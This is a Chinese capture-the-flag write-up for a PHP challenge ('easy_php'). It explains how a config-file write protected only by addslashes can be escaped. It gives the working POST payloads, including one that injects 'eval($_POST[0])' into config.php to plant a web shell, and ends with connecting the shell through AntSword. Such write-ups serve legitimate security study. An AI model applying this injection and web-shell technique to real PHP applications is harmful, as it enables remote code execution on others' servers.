[第二届BMZCTF]easy_php
写在前面的话:元旦打的比赛,现在终于有时间来复现,害,勤能补拙吧!
题目源码
<?php
highlight_file(__FILE__);
error_reporting(0);
function new_addslashes($string) {
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string;
}
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
$file = __DIR__ .'/config.php';
require $file;
$key = $_POST['info']['name'];
if(!isset($LANG[$key])) {
$content = file_get_contents($file);
$content = substr($content,0,-3);
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
}
if(isset($_GET['re'])){
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}
分析
代码主要实现的功能是:没有则新建,有的话就将原来的替换成输入的,具体是怎么做到,看核心代码
但是!!题目通过\进行了转义
思路:通过闭合与注释能逃逸,从而能传马,或者任意代码执行
ps:复现过程中想到了sql注入的单引号’闭合,#注释,很类似
过程
首先重置下
?re=1
自己新建一个数组的键和值,no1的内容很关键,为后面替换之后逃逸做铺垫
sudo=&info[name]=Backr0d&no1=LANG
替换LANG之后,成功逃逸出来
sudo=&info[name]=Backr0d&no1=a=1;eval($_POST[0]);phpinfo();//
用蚁剑连接即可在根目录下找到flag